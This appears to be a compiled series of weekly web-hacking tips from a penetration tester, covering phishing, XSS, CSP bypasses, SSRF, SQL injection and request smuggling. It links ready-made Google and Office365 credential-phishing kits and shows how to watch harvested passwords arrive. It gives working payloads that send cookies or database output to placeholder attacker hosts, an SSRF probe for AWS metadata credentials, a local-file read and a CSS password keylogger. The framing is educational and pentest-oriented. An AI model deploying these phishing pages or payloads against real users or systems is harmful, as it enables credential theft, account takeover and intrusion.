At the very bottom of the file, you will find the ‘FAILURES’ variable you can set to any number. Then all you need to do is force Nikto to use your new config file with the ‘—config’ flag. Since the average ‘Script Kiddie’ doesn’t edit config files, this tip can make you a lot of money on bug bounty sites that allow scanning. In the past, I made $750 by discovering one sensitive file with a custom-configured Nikto scan.\
&#x20;\
It is also worth noting that you can set cookies in the configuration file as well, which allow you to perform Nikto scans on sites that require authentication.

![](/files/9oFPJCq6D6gtLlzsyGLT)

![](/files/5hHNPUHsEewl28Rb38Ji)


# Week 20 - Google Phishing Page

## Two-Part Google Phishing Page

This week’s web hacking post goes out to my fellow emulated criminals interested in phishing for Google credentials:\
&#x20;\
I created a GitHub repo that allows you to quickly spin up a fake two-part Google login, link is in the comments. All you need is a web server that supports PHP and 4 simple commands.

<https://github.com/jakedmurphy1/GooglePhishing>\
&#x20;\
You can customize the username page to contain whatever domain you’d like (just edit the JavaScript on line 21 of index.html) and have it up-and-running in just a few minutes.\
&#x20;\
Extra Tip: You can watch the creds.txt file live as passwords start coming in, just run the following command on your server:\
&#x20;\
`tail -f /opt/GooglePhishing/creds.txt | while read line; do echo $line; sleep 3; done`\
&#x20;\
This command will display the contents of the creds.txt file, updating every 3 seconds. If you like bash/linux tips follow my friend and colleague [James Stahl](https://www.linkedin.com/in/ACoAAByk2G0BJ66KwiDflfbL6-nWTHuFyy9Lz1U) for his weekly series.

![](/files/kyYxrQDTb780CzLPuzuq)


# Week 21 - Google BITB

## Google Browser-In-The-Browser Phishing

For week 21 of the web hacking series, I was looking to improve upon the GooglePhishing repository I made last week. I saw some of your comments/messages regarding using it with a Browser-in-the-Browser (BITB) attack. I thought this would allow for a super convincing phishing attack, so I did some research and built it out:\
&#x20;\
<https://github.com/jakedmurphy1/GoogleBITB>\
&#x20;\
I think this is one of the most convincing techniques I’ve seen in recent years. Definitely tricky if you are not paying close attention or familiar with web technologies.\
&#x20;\
Additionally, I discovered a pretty cool attack vector using BITB. You can inject the below Cross-Site Scripting payload into an application:\
&#x20;\
`“><iframe style='border:none;width:100%;height:100%' scrolling='no' src='https://[ATTACKER_SERVER]/GoogleBITB/index.html'/>`\
&#x20;\
And as long as the attacker server uses https, it will successfully render the iframe within an iframe (inception) and prompt the user to login to the Google popup, appearing to be from the vulnerable application. This technique can allow you to harvest credentials with just a reflected XSS attack!\
&#x20;\
This goes to show the dangers of allowing XSS within your application, and the importance of thorough pentesting.

![](/files/U57G6Fuh2HIUUIunPacq)


# Week 22 - XSS Through SVG File

## XSS Through SVG File

It’s week 22 of the Web Hacking Series!

And I’ve got a tip for when you come across a file upload that only accepts images. If the application allows SVG image types, you may have just found yourself a stored XSS vulnerability!

Using the code in the below image, you can execute JavaScript on the victim application. Just copy into a file named ‘test.svg’ and upload it! Short, simple, and sweet.

![](/files/mVzkdfA5jvmFOTyxezwb)

![](/files/WRSJu1vIRh4EKsPWlk4U)


# Week 23 - FoxyProxy Extension

## FoxyProxy For Managing BurpSuite

Week 23 is here! This week I wanted to provide you all with advice on how to build out your setup. Since BurpSuite is a tool I use almost every day, it’s extremely important to be able to quickly configure your proxy settings. To do this, I use a FireFox extension called FoxyProxy.

It allows you to set your proxies (HTTP/SOCKS/DIRECT) and easily enable/disable them in one place, with one click. Additionally, the extension icon displays the currently connected proxy, so you won’t be left wondering why you’re having connection issues when you close Burp.

![](/files/paOO7FmchZnz8932F28G)

![](/files/4QADpd676KGITTBGrcQo)


# Week 24 - CSP Bypasses

## Content Security Policy - Bypasses

For week 24, I wanted to share an in-depth post on Content Security Policies and how to bypass them.

What is a Content Security Policy?

CSP’s tell a browser what paths/sources are safe to load resources from. They are used to prevent Cross-Site Scripting, clickjacking, and similar vulnerabilities involving images, frames or JavaScript. The CSP is specified within a server response header or meta tag, and the browser blocks any payload that violates the policy.

To bypass a CSP, first look for the ‘script-src’ section and determine if any of the following are specified:

‘unsafe-inline’ -> Allows normal XSS payloads:alert(1)

‘unsafe-eval’ -> Allows Base64 encoded payloads:

https: -> Allows external scripts:

data: -> Allows Base64 encoded payloads:

‘self’ AND .js File Upload -> If you can upload a JavaScript file, you can execute it as a script:

Other more exotic bypasses:

Static ‘nonce’ -> If the server's nonce does not change with every request, specify the nonce in the payload to execute:

Lack of object-src and default-src -> Object payloads will render:&#x20;

Missing base-uri -> Payload loads all relative src paths from your specified attacker server

I find the last base-uri bypass super interesting. It’s useful not just for working around a CSP, but also any application firewall. Frequently we see Cross-Site Scripting payloads involving or HTML events blocked immediately, but it’s much rarer to find a WAF that blocks ">. Just make sure you find a relative script source path used by the application, and upload your JavaScript file to that same path on your server. Then BAM, easy Cross-Site Scripting!!!

![](/files/4vdJ8xYWRrwH7tS9Xmfx)

![SRC: https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](/files/0zwV3feX3CrwzycZeSKv)


# Week 25 - Pilfering LocalStorage with XSS

## Using XSS to Steal JWT's from LocalStorage

Have you ever found a Cross-Site Scripting vulnerability and attempted to read 'document.cookie', only to see no valuable session-related data?

Well did you know you can also dump LocalStorage with JavaScript:

`alert(JSON.stringify(localStorage))`

Welcome to week 25 of the web hacking series! The main difference between LocalStorage and Cookies is that LocalStorage is meant for Client-side (ajax) interactions, while Cookies are meant to be used by the server. Often in penetration tests, sensitive session-related data (such as JSON Web Tokens) can be found in LocalStorage.

To exfiltrate data from LocalStorage, you can use the following XSS payload:

Then just setup a listener on your attacker server to receive the incoming data. If you want an additional tip related to this payload, decode the following JWT 😉

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkkgYWx3YXlzIHJlY29tbWVuZCB1c2luZyBkb21haW5zIHdoZW4gZXhmaWx0cmF0aW5nIGRhdGEsIHNpbmNlIG1hbnkgbW9kZXJuIGFwcGxpY2F0aW9ucyBhbmQgZGV0ZWN0aW9uIHN5c3RlbXMgZG9uJ3QgcGxheSB3ZWxsIHdpdGggSVAncyIsImlhdCI6MTUxNjIzOTAyMn0.3s_Uh0cS9jBY_JmRvJ3iP7LMh_bEJDPbfHtNXBbFC_I`

All this considered, as a developer you might be thinking where the heck do I store my JWT’s? It’s recommended to store them within a Cookie marked as ‘HttpOnly’ and ‘SameSite’, that way they're inaccessible to JavaScript and CSRF vulns.

![](/files/r0FS5ZqkKet9K7G0rrHZ)


# Week 26 - Cloud SSRF

## Exploiting HTML -> PDF Features for Cloud SSRF

For this week’s web hacking tip, I’m discussing one of my favorite areas to focus on when testing a web application. Any time I see an ‘Export to File’ feature I immediately direct my attention to it.

Usually this means some kind of server-side logic is occurring on the back-end to create or convert a file. I especially like to see an ‘Export as PDF’ since it often means the server is rendering HTML, capturing a photo of it, and then embedding that photo within a PDF file. Commonly I see PhantomJS in use here.

You might be wondering how we can attack this? Since the server renders HTML passed to it, we need to try and pass our own HTML within a GET/POST parameter. I frequently find POST parameters being used to send HTML directly to the endpoint responsible for creating the screenshot. Many times, the request parameter will literally contain HTML tags like:&#x20;

`{paramName: “<p>some text here</p>”}`

This makes our job easy. We can inject our own HTML right before the \<p> tags above. We can use an iframe to link directly to localhost resources. Remember, this works because we are running within the context of localhost thanks to the server rendering the HTML, rather than the client:

`<iframe src=’http[:]//localhost:80/’ >`

The server will render the above iframe which will load a photo of whatever localhost service is running on port 80. A cool thing to try here too is requesting resources that are externally forbidden, such as ‘/server-status’ or even ‘/admin’ since often they will be accessible locally. Additionally, I’ve found that adding an inline-style attribute makes reading the result much easier:

`<iframe src=’http[:]//localhost[:]80/’ style=’height:800px;width:800px’ >`

From here, we can continue to port scan localhost or proceed to an even-more-fun method of attack: cloud-based SSRF. If the web server is existing within an AWS environment, you can reach out to the metadata server which contains access keys and other sensitive information. This metadata server is only accessible internally, but thanks to the SSRF you found you can now reach it!!

`<iframe src=http[:]//169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials’ style=’height:800px;width:800px’ ></iframe>`

The above iframe will show you the name(s) of any available security credentials within the metadata server. These security credentials contain access keys which can be used to access AWS features like S3 buckets, Lambda functions, EC2 instances and more. The IP address is the same for all AWS environments. More cloud pentesting tips may be coming soon, so like and follow for more :p

Extra Tip: Have you ever wondered why virtually all cloud-ssrf tips focus on AWS? Azure and GCP both have metadata servers as well, but they require an additional HTTP request header to be sent.

![SRC: https://systemweakness.com/story-behind-sweet-ssrf-40c705f13053](/files/nWyGpjEIa7AmPg5wGJDI)


# Week 27 - Blind XSS

## Finding Blind XSS

In this week’s issue of the Web Hacking Series, we’ll be covering an exotic and rarely tested feature of application security: Blind XSS.

I’m sure most of you are familiar with Stored, Reflected and Self XSS. But the lesser-known red-headed-stepchild of the family, Blind XSS, is often completely missed. Keep this in mind if you are a bug bounty hunter.

Blind XSS occurs when an attacker injects a JavaScript payload ‘blindly’ into an application, with the hope of it being stored and later pulled into a page accessible to administrators/higher-privileged users. I’ve seen this frequently with applications that implement an admin panel. Say there is an internal admin page that lists every username/email within an application. If a user enters a XSS payload as their username, and that username payload is pulled and executed by the admin upon viewing the page, we would have discovered ourselves a Blind XSS!

You can often use Blind XSS to takeover an admin account by stealing from cookies/local storage and exfiltrating them to your server:

`"><script>document.write('<img src="http[:]//[attacker_domain]:[port]/123456?cookie=' + document.cookie + '"/>')</script>`

Ensure you have a listener running to receive the connection from the above payload.

I highly recommend buying yourself a cheap DigitalOcean VPS (\~$5 a month) and keep the listener running in a tmux session for the length of your engagement. Then just spam the application with the above payload and check every now and again for new connections!

![SRC: https://gupta-bless.medium.com/exploiting-blind-xss-75a72ce0d605](/files/ak148t1zEYpim3MBfu0D)


# Week 28 - Firebase  Misconfigurations

## Firebase Realtime Database Misconfigurations

A new week in 2022 means another web hacking tip!\
&#x20;\
When testing an application ALWAYS look for third-party services in use like Firebase Realtime Databases (identified with any subdomain on \*.[firebaseio.com](http://firebaseio.com)). Firebase Databases, when incorrectly configured to be publicly readable, will leak all database contents via JSON. To check this, all you need to do is visit the following link:\
&#x20;\
https\[:]//\*.[firebaseio.com/.json](http://firebaseio.com/.json)\
&#x20;\
If it’s misconfigured, the /.json endpoint will list all DB contents. If it's NOT vulnerable, it will simply tell you ‘Permission denied.’\
&#x20;\
Keep this in mind for your next engagement!

![SRC: https://atos.net/en/lp/securitydive/misconfigured-firebase-a-real-time-cyber-threat](/files/hpglVhA4rQPScA5pXHsB)


# Week 29 - XSS to CSRF

## Chaining XSS with CSRF

Did you know that you can use XSS to perform a Cross Site Request Forgery (CSRF) attack, even if you’re using CSRF tokens correctly (assuming cookie-based authentication is in place here)!

You might be thinking this is impossible, but it all comes down to Cross-Origin-Resource-Sharing (CORS). If you remember my week 3 post, CORS determines what domains are specifically allowed to read files from the server. If you are an allowed origin, you can retrieve the page's HTML source code. If you are not, then you are blocked.

Keeping this in mind, a Cross Site Scripting (XSS) attack allows us to execute JavaScript code within the same origin as the target site. So an XSS on vulnerable\[.]com/page\[.]php would execute from the allowed origin of vulnerable\[.]com

Chaining this all together, we can create an XSS payload to send a request to the page containing the CSRF token, pull the token from the source code response, then use the token in a new request to takeover the account. See the image for the JavaScript code on how this is done

![SRC: https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf](/files/eYtgEX49iFLgFiBR3Mt1)


# Week 30 - SQLMap Debugging

What would you rather see? Your mother-in-law at your door unannounced, or the below sqlmap error:

`[WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' [CRITICAL] unable to retrieve the number of ___`

This error used to haunt me during engagements. I would often just append '--no-cast’ and hope for the best. Until I learned a much better technique that, in my experience, can solve this problem most of the time.

Typically, this issue occurs when dumping data with Blind SQLi. Sqlmap is having trouble determining a valid character (True response) from an invalid (False response). To solve this problem, we must tell sqlmap EXACTLY how to determine a True response. To do this, we can use the flags ‘--string’ and ‘--code’

\--string => Specify portion of text returned in HTTP Response when the query is true --code => HTTP status code returned when query is true

I frequently use the ‘--string’ flag and specify some text returned only in the True page, which can often be found in the HTML of the server response. The ‘--code’ flag is also useful if you’re dealing with a SQLi whose False page is a 500 status code (syntax error).

Now you won’t have any more issues dumping data!

<img src="/files/gqakasaBMGo8jxUkXZsp" alt="" data-size="original">


# Week 31 - WayBack Machine

Looking for a way to improve your enumeration and OSINT?\
&#x20;\
Did you know that you can use the Wayback Machine to spider an application and find GET parameters to target? Just visit the below URL:\
&#x20;\
<https://web.archive.org/cdx/search/cdx?url=echeloncyber.com/*&output=text&fl=original&collapse=urlkey>\
&#x20;\
I find this link super helpful, especially if I’m looking to discover GET parameters, subdomains, files, or leaked tokens. It’s also great to use in Python scripts to quickly enumerate an application. Much easier to parse than results from Google Dorking!\
&#x20;\
Check out the article linked in the comments for how this resource led to an account takeover on a bug bounty site.


# Week 32 - O365 BITB

After building out a two-part Google Browser-in-the-Browser Phishing page, I felt like it was time for an Office365 one:\
&#x20;\
<https://github.com/jakedmurphy1/O365-BITB>\
&#x20;\
I’ve found that using modern-looking two-part login pages combined with mrd0x’s BITB allows for extremely successful phishing campaigns. All you need to run this is a few simple commands and a web server that supports PHP. I timed myself, and was able to get it up and running in just under 30 seconds!\
\
Once a victim submits their password, they are redirected to a fake O365 error page.


# Week 33 - Burp Intruder Attacks

For this week’s post I wanted to cover BurpSuite Intruder attack types:

Sniper -> Iterate through a single payload list, one parameter at a time. When the list runs out, move on to the next defined position and iterate through the payload list again.

Battering Ram -> Iterate through a single payload list one time and place the same value in all defined parameter positions.

Pitchfork -> Different payload list for each defined position. Iterate through all payload lists simultaneously, and place one payload into each defined position.

Cluster Bomb - > Different payload list for each defined position. Iterate through each payload list one at a time, hitting all possible payload list combinations. Using the photo below, you can see that the attack begins with payload set 2's first value in the ‘q’ parameter. It then proceeds to iterate through all of payload set 1 in ‘cat\_id’. Once finished, it moves to the second value in payload set 2 and runs through payload set 1 again.

I know these attacks can be difficult to wrap your brain around if you’re not a word-person, so hopefully these concise descriptions help! Stay tuned for more hacking content!

![](/files/UkgQ4MNAIaZmiEH1H8yy)


# Week 34 - GraphQL Bruteforcing

Have you ever tried to brute force a parameter with a GraphQL query? Executing one query at a time can be slow and a pain-in-the-butt, especially with a more complex ID. So, what’s the solution???

Execute a bunch of queries with one request!! This is enabled out-of-box with ApolloServer and is called GraphQL Batching.

First, minify your query to be as light as possible, only retrieving one field enabling you to determine a valid ID from an invalid one.

Second, create a ton of queries with a different value in the parameter of each (allowing you to brute force).

Third, combine all queries into the JSON POST data of the request. Then let it rip!! Most applications in the wild will let you perform anywhere from 500 to 10,000 queries/mutations WITH JUST ONE REQUEST! Meaning a brute force attack that would have taken \~1 billion attempts can be drastically reduced to 1-2 million.

This attack can allow you to bypass 2FA lockouts, brute force low-entropy IDs, guess passwords, bypass rate limits, etc. I just found out about this attack yesterday. Hit me with a like if you didn’t know this either!

![](/files/vLhqwMRD1w8ltebWk1su)

![](/files/ffXrx6a1D10RV37chevR)


# Week 35 - User Accounts

Have you ever been on an AppSec engagement that involved multiple levels of access (admin/merchant/user)? You could use a different email account for each level, OR you could just use one!\
&#x20;\
This is possible through Plus Addressing. All the below inboxes will send to the same email:\
&#x20;\
<test@website.com>\
<test+admin@website.com>\
<test+merchant@website.com>\
<test+user@website.com>\
&#x20;\
Any email sent to <username+whateveryoulike@domain.tld> is still sent to your account. I find this especially useful for:\
&#x20;\
-Testing Invite Features\
-Account Sign Ups\
-Account Blacklist Bypasses


# Week 36 - CVE Submission

After a few of you reached out, I wanted to make this week’s web hacking tip on how to find CVEs and what to do when you discover one. So, let’s get into it!\
\
First, you need to locate software that runs on-premises at organizations rather than in the cloud. To do this you have to research. You can find giant lists of this all over the web, and it’s helpful if you find a certain type of software to target (CMS, Project Management Software, etc). Saasworthy\[.]com is a useful website for filtering by software that runs on-prem:\
&#x20;\
<https://www.saasworthy.com/list/on-premise-project-management-software?page=2>\
&#x20;\
I also suggest you target the worst reviewed software. In all my testing, I’ve discovered an absolute truth: if a company does not invest in its application’s design, they also do not invest in its security.\
&#x20;\
Now that you have a target, I highly recommend looking for a specific vulnerability depending on your level of comfort and expertise. Cross-Site Scripting is a good way to go, or SQLi if you’re comfortable enough with it. Try to sign up for a free trial of the software, access a demo, or find open-source code. If you have more ideas on how to get access, let me know in the comments. BUT PLEASE REMEMBER TO ONLY TEST APPS WITH EXPLICIT PERMISSION FROM THE OWNER.\
&#x20;\
So, you’ve finally discovered your CVE! After searching online and determining it wasn’t already discovered/reported, submit your finding to MITRE:\
&#x20;\
<https://www.cve.org/ResourcesSupport/ReportRequest#RequestCVEID>\
&#x20;\
Now you will have to wait approximately 30 days for a response. If it’s accepted, they will provide a simple response like “Use CVE-XXXX-XXXXX”. At this point, I was super confused, because I didn’t know how to use a CVE number. But after some research, I found that I needed to publicize the vulnerability before it would be posted on MITRE.\
&#x20;\
CXSecurity\[.]com was the fastest to publicize my CVE (took less than a day), so I recommend going to them first. You can also use PacketStorm or Exploit-DB if you choose. After one of these companies posts your vulnerability, you need to go back to MITRE:\
&#x20;\
<https://cveform.mitre.org/>\
&#x20;\
And select the ‘Notify CVE about a publication’ option. Then simply provide the link to CXSecurity/PacketStorm/Exploit-DB and wait. It took about a day for MITRE to accept my publication and post the CVE!\
&#x20;\
Once MITRE posts your CVE on cve\[.]mitre\[.]org it will take about a day to post on cvedetails\[.]com, since cvedetails updates its records daily based upon MITRE.\
&#x20;\
By the way, please reach out to the software vendor before publicizing your CVE. After all, we are in cyber security to help companies rather than criminals. I hope this was a helpful overview and inspires some of you to find a CVE!


# Week 37 - Second Order SQLi

This week’s web hacking tip is on Second-Order SQL injections!

I’m sure most of you are plenty familiar with standard SQLi, but did you know that the payload result does not always render directly in the response? Let me explain..

Let’s say we have a web application that allows you to upload a photo and specify the photo name. When the photo is uploaded it displays on ‘view\.php’ with all the other photos of the site, with the corresponding name under each photo. Let’s also assume the form upload is vulnerable to UNION-based SQLi in the photo name parameter.

Putting this all together, we can only exploit the SQL injection by issuing UNION-based payloads in the form upload request and then loading ‘view\.php’ which displays all the photos. If all goes well, a payload like ‘+UNION+ALL+SELECT+1,2,@@version,4,5--+-’ will display something like ‘5.6.10’ as the name of the target photo on ‘view\.php’.

Now how do we automate it? Luckily for us, SQLMap supports both --second-url and --second-req, which allow you to specify the second url/request file that actually loads the payload result. So we will issue the injection on 'upload.php', then load 'view\.php' to get the result:

Get view\.php as URL: sqlmap -r upload\_request.txt -p photoName --second-url "http\[:]//victim\[.]com/view\[.]php"

Get view\.php as request file: sqlmap -r upload\_request.txt -p photoName --second-req view\_request.txt

Keep this in mind next time you’re dumping a DB!

![](/files/0hYblAzplIWlYONdSJ7j)


# Week 38 - Out of Band SQLi

Since last week we covered second-order SQL injection, I wanted to make this week’s post on a similar technique: Out-of-Band SQLi.\
&#x20;\
If you’ve been following my weekly posts then you should already be plenty familiar with SQL injection, but what the heck does Out-of-Band mean?\
&#x20;\
Out-of-Band means we are receiving the payload result through a different channel than the payload request. There are two main channels used for retrieving the payload result: DNS and HTTP.\
&#x20;\
Retrieving the payload result through DNS would look like the following SQL injection:\
&#x20;\
`vulnerable[.]com/test[.]php?id=1+UNION+SELECT+load_file(CONCAT(“\\\\”,(SELECT+@version),”.attacker[.]com\\test”)`\
&#x20;\
Since the CONCAT function combines multiple strings into one, this injection will cause the back-end database to load the following URL:\
&#x20;\
`\\\\10.3.16-MariaDB[.]attacker[.]com\\test`\
&#x20;\
So if we have a listener running on our attacker server, we can wait for incoming DNS requests and retrieve the results!\
&#x20;\
Now as mentioned before we can also use HTTP-based exfiltration, which is typically used when the back-end database is Oracle because they support the UTL\_HTTP.request function:\
&#x20;\
`vulnerable[.]com/test[.]php?id=1+UNION+SELECT+UTL_HTTP.request(“http[:]//attacker[.]com/?version=”||(SELECT version FROM v$instance)) FROM dual`\
&#x20;\
This will issue an HTTP request to the following URL:\
&#x20;\
`http[:]//attacker[.]com/?version=`[`18.0.0.0`](http://18.0.0.0)`.0`\
&#x20;\
And we can just listen for incoming HTTP connections! This technique can be an exotic way of bypassing WAF’s or exploiting a tricky injection. Worth adding to your pentest arsenal!

![](/files/GMtsgvLKwNnBK2SZd1fJ)


# Week 39 - Broken Link Hijacking

This week’s web hacking tip is on Broken Link Hijacking!\
\
This attack occurs when a threat actor can take over an obsolete or outdated link to an external resource or URL on your website. It is especially dangerous when the external link is to a JavaScript file that no longer exists. An attacker can register the resource domain/subdomain, upload their own malicious JavaScript file, and instantly have Stored XSS!\
\
You can manually check for broken links by opening the Developer Tool’s web console, or use the following tool to automate the process: <https://github.com/stevenvachon/broken-link-checker>\
\
Surprisingly, this type of vulnerability doesn’t get too much attention when it comes to Bug Bounties or Penetration Tests. It’s quick and easy to check for and can be incredibly dangerous when discovered.

![](/files/5UfJFRLFbKRxRWq4q8BK)


# Week 40 - JWT Testing

Looking for a quick way to test JSON Web Tokens (JWT's) during an [#AppSec](https://www.linkedin.com/feed/hashtag/?keywords=appsec\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6988868624044191744) engagement?\
&#x20;\
I highly recommend using jwt\_tool! To get it running, just locate a GET request to an authenticated endpoint that uses a JWT in the Authorization header. Then run the following command:\
&#x20;\
`python3`[`jwt_tool.py`](http://jwt_tool.py) `-M at -t "https[:]//staging[.]client[.]com/api/v3/endpoint" -rh "Authorization: Bearer eyJ0eHAiCiJKV1QiLCJhbGciO…<more>"`\
&#x20;\
The -M option sets the attack mode; in the above case we set ‘at’ for all tests. The -t option is the target URL. The -rh allows us to specify request headers, in this case, the Authorization request header containing the JWT.\
&#x20;\
Then let it rip! It will auto-magically test common exploits, claim fuzzing, token misconfigurations, etc. Leaving you more time for that Business Logic!\
&#x20;\
Let me know what tools you use for [#JWT](https://www.linkedin.com/feed/hashtag/?keywords=jwt\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6988868624044191744) testing in the comments below.

![](/files/4G6tErWD2X2YxEvvA2fm)


# Week 41 - BURP ATOR

Are you tired of JSON Web Tokens (JWTs) quickly expiring while running an [#AppSec](https://www.linkedin.com/feed/hashtag/?keywords=appsec\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6991411336362520576) engagement?\
&#x20;\
I know firsthand the frustration you can feel when tokens seem to expire before you can even send them to the Repeater tab!!\
&#x20;\
Luckily there is an amazing [#BurpSuite](https://www.linkedin.com/feed/hashtag/?keywords=burpsuite\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6991411336362520576) extension called Authentication Token Obtain and Replace (ATOR). To use it, all you need to do is:\
&#x20;\
1\.      Specify the Error Condition: when does ATOR need to take action, AKA upon being told the JWT expired. See photo for an example of how I told ATOR to act upon receiving 401 unauthorized.\
&#x20;\
2\.      Obtain New Token: tell ATOR to re-run the login request that responds with a valid JWT. Select that JWT from the response so ATOR knows how to identify it.\
&#x20;\
3\.      Replace the Token: when the error condition from step 1 occurs (401 unauthorized), where should ATOR place the new token acquired from step 2? Most likely this will be in the request header -> Authorization: Bearer \<token-here>\
&#x20;\
Last, in the settings select what tools you want ATOR to run on, I recommend both the Repeater and Intruder. Now your macro should run in the background allowing you a little less frustration in your life!

![](/files/ZTyFXNxczyhVWTNqy6BY)


# Week 42 - ProxyChains

Running into issues getting your HTTP requests to play nicely with your [#AppSec](https://www.linkedin.com/feed/hashtag/?keywords=appsec\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6993911566785986561) tools?\
&#x20;\
I’ve encountered connection/request/formatting problems with tools like SQLMap, EyeWitness, Hydra and especially custom python scripts. Most of the time, it's because I forget to add a matching quote or a necessary request header.\
&#x20;\
My favorite way to debug these issues is to proxy the tool through BurpSuite! Some tools (like SQLMap) have this feature available as a command (--proxy). But what happens when they don’t?\
&#x20;\
Use ProxyChains! It’s super simple to setup (see screenshot) and will save you a ton of time when trying to figure out why your HTTP Requests are not working as planned. Just change the last line of the ‘/etc/proxychains4.conf’ file to:\
&#x20;\
`http 127.0.0.1 8080`\
&#x20;\
This will tell proxychains to send our traffic through an HTTP proxy on localhost port 8080 (where Burp is listening). Then prefix your tool command with proxychains4 (EX: proxychains4 sqlmap -u target\[.]com) and you’re good to go!\
\
Burp will intercept all HTTP requests allowing you to send them to the repeater and see what you accidentally left out :)

![](/files/p1b8Xt1SVcakdXfsYaMm)


# Week 43 - CSS Keylogging

Did you know you can use [#CSS](https://www.linkedin.com/feed/hashtag/?keywords=css\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6996842844975964161) as a Keylogger? So those HTML injections may just serve a purpose after all!\
&#x20;\
I came across this attack for the first time a couple of days ago and found it super interesting. It works by using the below code:\
&#x20;\
`<style>`\
`input[type="password"][value$="a"] {`\
&#x20;`background-image: url("http[:]//localhost[:]3000/a");`\
`}`\
&#x20;\
`input[type="password"][value$="b"] {`\
&#x20; `background-image: url("http[:]//localhost[:]3000/b");`\
`}`\
`</style>`\
&#x20;\
This code is looking at input fields of the type ‘password’. Any time a character is entered into a password field, the CSS Attribute Selector correlated to that character will be triggered, which loads an attacker domain with the character requested in the URL. So, an attacker just has to review their web server access logs to see, character by character, the user’s entire password!\
&#x20;\
This exotic attack vector does have some limitations. Per the article linked in the comments:\
&#x20;\
-It only works with an initial value being set on an input, and not per keypress nor after blurring the field.\
\
-It’s not triggered for values that have been autocompleted by the browser’s credentials manager or a password manager tool.\
\
-It cannot handle repeat characters, as the browser won’t re-request the background image in that case\
\
-Due to parallelism, it’s not guaranteed for the requests to be received by the server in the order they were typed in\
\
But since React (by default) updates the input value upon every change, this attack is worth stashing in your arsenal. Here is a repo that demos this with Instagram: <https://github.com/maxchehab/CSS-Keylogging>

![](/files/spzUXNNwaJs84kxLXoy0)


# Week 44 - SVG SSRF

Looking for another way of exploiting Server-Side Request Forgery?\
&#x20;\
Many [#AppSec](https://www.linkedin.com/feed/hashtag/?keywords=appsec\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A6999064415689965568) testers are already familiar with server-side HTML rendering, and how an \<iframe> can be used to access internal resources or local files. But did you know this is also possible through exporting SVG images?\
&#x20;\
This is due to the handy \<foreignObject> tag, which essentially allows you to add HTML to the SVG image. Assuming the server is rendering the SVG image, you can add an iframe and link to internal hosts/files like so:\
&#x20;\
`<svg width="1000" height="1000">`\
&#x20;\
&#x20;`<foreignObject width="1000" height="1000">`\
&#x20;\
&#x20;  `<iframe style="width:100%;height:100%;" src="file[:]///etc/passwd"/>`\
&#x20;\
&#x20;`</foreignObject>`\
&#x20;\
`</svg>`\
&#x20;\
If the server is blocking the \<foreignObject> tag, you can find bypasses at the link provided in the comments.

![](/files/0kjpkWVgXpVtGKABQu3t)


# Week 45 - Request Smuggling

This week’s web hacking tip is on HTTP Request Smuggling!\
&#x20;\
When HTTP requests are interpreted by a front-end server (usually a load balancer, reverse proxy or firewall) existing between the client and back-end server, they can be interpreted inconsistently. The back-end server could end up considering one HTTP request two separate ones.\
&#x20;\
HTTP Request Smuggling occurs when the front-end server interprets the HTTP request based on the ‘Content-Length’ header, while the back-end server uses the ‘Transfer-Encoding: chunked’ header. This can cause the request we issued to the server to be pre-pended to the next incoming (victim) request to the server. Let me explain this further...\
&#x20;\
HTTP requests are sent to the server one after another, and the back-end server parses the HTTP request headers to determine where one request ends and the next one begins.\
&#x20;\
The ‘Content-Length’ header is straightforward and specifies the length of the message body in bytes. The ‘Transfer-Encoding: chunked’ header is more complex and specifies that the message contains chunks of data.\
\
Since HTTP provides these two different methods for specifying the length of messages, it is possible to make the front-end and back-end servers disagree about the boundaries between successive requests.\
&#x20;\
The goal is to overwrite the first line of the next incoming (victim) request to the server, inserting our own GET/POST to an endpoint (see image below).\
&#x20;\
In some cases, the back-end server will automatically redirect when we provide a custom URL as the endpoint (GET https\[:]//attacker\[.]com). This is critical since cookies may be redirected to us as well!\
&#x20;\
This attack can be automated using Smuggler: <https://github.com/defparam/smuggler>

![](/files/JXnlzaM5wgWB4aN095hB)


# Week 46 - XSS Payloads

It’s been a while since I’ve shared some Cross-Site Scripting payloads with y’all, so here are some new ones I’ve found in the last couple of months:\
&#x20;\
`<svg onload=location=nextSibling.innerText>`\
`<b>javas<b></b>cript:al<b></b>ert(1)</b>`\
&#x20;\
This one is really interesting as it implements Tag Blending Obfuscation. Notice the keywords ‘javascript’ and ‘alert’ are separated here, which is great for bypassing potential WAFs. When the payload executes, the \<b> elements are concatenated, resulting in a good old alert box. You can read more about this technique here: <https://lnkd.in/eqhpG_nJ>\
&#x20;\
This next payload was introduced to me by my colleague [Evan Isaac](https://www.linkedin.com/in/ACoAADKz8eYBPIfHIl7zo0z4G-5tn0BctweNrFI):\
&#x20;\
`"><iframe srcdoc="<script>alert(1)</script>">`\
&#x20;\
This is a great payload for when a WAF is blocking HTML event attributes (onclick, onmouseover, etc) as well as standard script tags. Give this a try on your next engagement, and give Evan a follow for sharing!

See more here: <https://brutelogic.com.br/blog/tag-blending-obfuscation/>


# Week 47 - DNS Re-binding

Today’s web hacking tip involves a unique way of bypassing [#SSRF](https://www.linkedin.com/feed/hashtag/?keywords=ssrf\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7009143195905216512) protections: DNS re-binding.\
&#x20;\
DNS re-binding involves alternating between 2 different IP addresses associated with a specific domain.  This can be accomplished using a short TTL: time to live before re-checking what IP the domain maps to. After a couple of seconds, the domain will be associated with the other IP. It will keep switching between the two.\
&#x20;\
This works because the application may have a firewall that will not allow a domain pointing to localhost, so it will be blocked. The idea with this attack is to have the domain change what IP it resolves to. So upon the request going through the firewall, the domain will resolve to a random (allowed) IP address, but upon the web server getting the domain and issuing a request to it, it will resolve to localhost (and we will have SSRF).\
&#x20;\
Optionally, you can point the domain to an IP address you own and include some JavaScript on the index page to initiate a request to an internal application/system. Both are good options for bypassing SSRF protections.\
&#x20;\
